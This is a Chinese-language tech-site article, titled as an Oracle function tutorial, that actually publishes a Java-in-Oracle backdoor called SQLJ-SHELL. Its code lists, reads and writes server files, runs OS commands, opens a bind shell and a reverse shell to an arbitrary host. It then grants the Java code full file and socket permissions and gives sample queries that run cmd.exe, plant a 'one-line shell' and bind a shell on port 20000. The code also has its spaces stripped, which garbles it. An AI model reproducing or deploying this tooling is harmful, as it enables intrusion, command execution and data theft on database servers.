事例解析Oracle函数

数据库 Oracle
这里介绍用Oracle函数调用JAVA的静态方法,首先在Oracle数据库建立JAVA对象, 这个版本的SQLJ-SHELL 只能支持正向连接,反向连接的时候有BUG 不建议使用。

在向大家详细介绍Oracle函数之前,首先让大家了解下Oracle数据库建立JAVA对象,然后全面介绍Oracle函数,希望对大家有用。首先在Oracle数据库建立JAVA对象, 这个版本的SQLJ-SHELL 只能支持正向连接,反向连接的时候有BUG 不建议使用,不知道是ORA支持JAVA的问题还是个人能力有限:

  1. createorreplaceandcompilejavasourcenamedistoas  
  2. importjava.io.*;  
  3. importjava.net.*;  
  4. publicclassISTO{  
  5. //author:kj021320  
  6. //team:I.S.T.O  
  7. publicstaticStringlistFolder(Stringpath){  
  8. Filef=null;  
  9. Stringstr="";  
  10. f=newFile(path);  
  11. String[]ffiles=f.list();  
  12. if(files!=null)  
  13. for(inti=0;i<files.length;i++){  
  14. str+=files[i]+"\r\n";  
  15. }  
  16. returnstr;  
  17. }  
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){  
  19. FileOutputStreamfos=null;  
  20. try{  
  21. fos=newFileOutputStream(filepath);  
  22. fos.write(value.getBytes());  
  23. return"OK";  
  24. }catch(Exceptione){  
  25. returne.getMessage();  
  26. }finally{  
  27. if(fos!=null){  
  28. try{fos.close();}catch(Exceptione){}  
  29. }  
  30. }  
  31. }  
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){  
  33. BufferedReaderbr=null;  
  34. Stringvalue="";  
  35. try{  
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));  
  37. Strings=null;  
  38. while((s=br.readLine())!=null){  
  39. value+=s;  
  40. }  
  41. returnvalue;  
  42. }catch(Exceptione){  
  43. returne.getMessage();  
  44. }finally{  
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}  
  46. }  
  47. }  
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){  
  49. inti=0;  
  50. RuntimeRuntimert=Runtime.getRuntime();  
  51. Stringoutput="";  
  52. InputStreamReaderisr=null;  
  53. char[]bufferC=newchar[1024];  
  54. try{  
  55. Processps=rt.exec(filepath);  
  56. isr=newInputStreamReader(ps.getInputStream(),code);  
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){  
  58. output+=newString(bufferC,0,i);  
  59. }  
  60. returnoutput;  
  61. }catch(Exceptione){  
  62. returne.getMessage();  
  63. }finally{  
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}  
  65. }  
  66. }  
  67. publicstaticStringbindShell(intport){  
  68. ServerSocketss=null;  
  69. Sockets=null;  
  70. try{  
  71. ss=newServerSocket(port);  
  72. s=ss.accept();  
  73. newoptShell(ss,s).start();  
  74.  
  75. return"OK";  
  76. }catch(Exceptione){  
  77. returne.getMessage();  
  78. }  
  79. }  
  80. publicstaticStringreverseShell(Stringhost,intport){  
  81. Sockets=null;  
  82. try{  
  83. s=newSocket(host,port);  
  84. newoptShell(null,s).start();  
  85. return"OK";  
  86. }catch(Exceptione){  
  87. returne.getMessage();  
  88. }  
  89. }  
  90. publicstaticclassoptShellextendsThread{  
  91. OutputStreamos=null;  
  92. InputStreamis=null;  
  93. ServerSocketss;  
  94. Sockets;  
  95. publicoptShell(ServerSocketss,Sockets){  
  96. this.ss=ss;  
  97. this.s=s;  
  98. try{  
  99. this.is=s.getInputStream();  
  100. this.os=s.getOutputStream();  
  101. }catch(Exceptione){  
  102. if(os!=null)try{os.close();}catch(Exceptionex){}  
  103. if(is!=null)try{is.close();}catch(Exceptionex){}  
  104. if(s!=null)try{s.close();}catch(Exceptionex){}  
  105. if(ss!=null)try{ss.close();}catch(Exceptionex){}  
  106. }  
  107. }  
  108. publicvoidrun(){  
  109. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));  
  110. Stringline="";  
  111. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";  
  112. try{  
  113. //os.write(cmdhelp.getBytes());  
  114. line=br.readLine();  
  115. while(!"exit".equals(line)){  
  116. if(line.length()>3){  
  117. StringBuffersb=newStringBuffer(line.trim());  
  118. Stringcmd=sb.substring(0,4);  
  119. if(cmd.equals("list")){  
  120. os.write("inputyoupath:\r\n".getBytes());  
  121. line=br.readLine();  
  122. os.write(listFolder(line).getBytes());  
  123. }elseif("save".equals(cmd)){  
  124. os.write("inputyoufilepath:\r\n".getBytes());  
  125. line=br.readLine();  
  126. os.write("inputyouvalue:\r\n".getBytes());  
  127. os.write(saveFile(line,br.readLine()).getBytes());  
  128. }elseif("read".equals(cmd)){  
  129. os.write("inputyoufilepath:\r\n".getBytes());  
  130. line=br.readLine();  
  131. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  132. os.write(readFile(line,br.readLine()).getBytes());  
  133. }elseif("exec".equals(cmd)){  
  134. os.write("inputyourunfilepath:\r\n".getBytes());  
  135. line=br.readLine();  
  136. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  137. os.write(execFile(line,br.readLine()).getBytes());  
  138. }else{  
  139. os.write(cmdhelp.getBytes());  
  140. }  
  141. }else{  
  142. os.write(cmdhelp.getBytes());  
  143. }  
  144. line=br.readLine();  
  145. }  
  146. }catch(Exceptione){  
  147. e.printStackTrace();  
  148. }finally{  
  149. if(os!=null)try{os.close();}catch(Exceptione){}  
  150. if(is!=null)try{is.close();}catch(Exceptione){}  
  151. if(s!=null)try{s.close();}catch(Exceptione){}  
  152. if(ss!=null)try{ss.close();}catch(Exceptione){}  
  153. }  
  154. }  
  155. }  

以上建立完成之后 需要用Oracle函数调用JAVA的静态方法:
◆列举目录函数
◆保存文件函数
◆读文件函数
◆运行文件函数
◆端口绑定 你可以telnet进去

以上Oracle函数转换操作之后 需要给JAVA授予访问权限

  1. begin  
  2. Dbms_Java.Grant_Permission('用户名字','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');  
  3. Dbms_Java.Grant_Permission('用户名字','java.lang.RuntimePermission','*','writeFileDescriptor');  
  4. Dbms_Java.grant_permission('用户名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');  
  5. end; 

然后就可以进行文件操作以及 运行程序  开启网络!

以下为测试代码:

  1. SELECT ISTO_LISTFOLDER('/usr') FROM DUAL  
  2. SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;  
  3. SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;  
  4. SELECT ISTO_SAVEFILE('/tmp/1.txt','一句话shell') FROM DUAL;  
  5. SELECT ISTO_BINDSHELL(20000) FROM DUAL 

【编辑推荐】

  1. 详谈Oracle对象特权说明
  2. Oracle系统特权部分介绍
  3. 最常见的Oracle密码验证
  4. 简单探讨Oracle介质恢复
  5. 完全干掉Oracle死锁进程
责任编辑:佚名 来源: 博客园
相关推荐

2010-03-31 10:40:11

Oracle事例

2016-12-19 14:59:00

redis.conf配置事例数据

2017-03-09 13:11:48

Oracle分析函数

2011-04-15 13:02:56

Oracle函数

2009-11-09 14:55:51

Visual Stud

2010-10-25 15:12:42

Oracle日期函数

2010-10-25 17:28:05

Oracle bita

2009-11-05 14:03:28

Visual Stud

2009-10-27 11:32:42

VB.NET Disp

2009-11-10 15:12:21

Visual Stud

2010-04-02 13:46:30

Oracle数据导出

2011-04-12 15:00:48

Oracle碎片

2010-04-01 09:46:04

Oracle日期函数

2011-04-12 13:27:09

Oracle日期函数

2010-10-25 17:39:24

Oracle单行日期函

2010-04-14 13:22:10

Oracle系统函数

2010-10-25 16:52:48

oracle管道函数

2010-10-25 14:28:53

oracle trun

2010-10-25 17:08:34

oracle聚合函数

2012-03-13 17:18:58

WEBKIT
点赞
收藏

51CTO技术栈公众号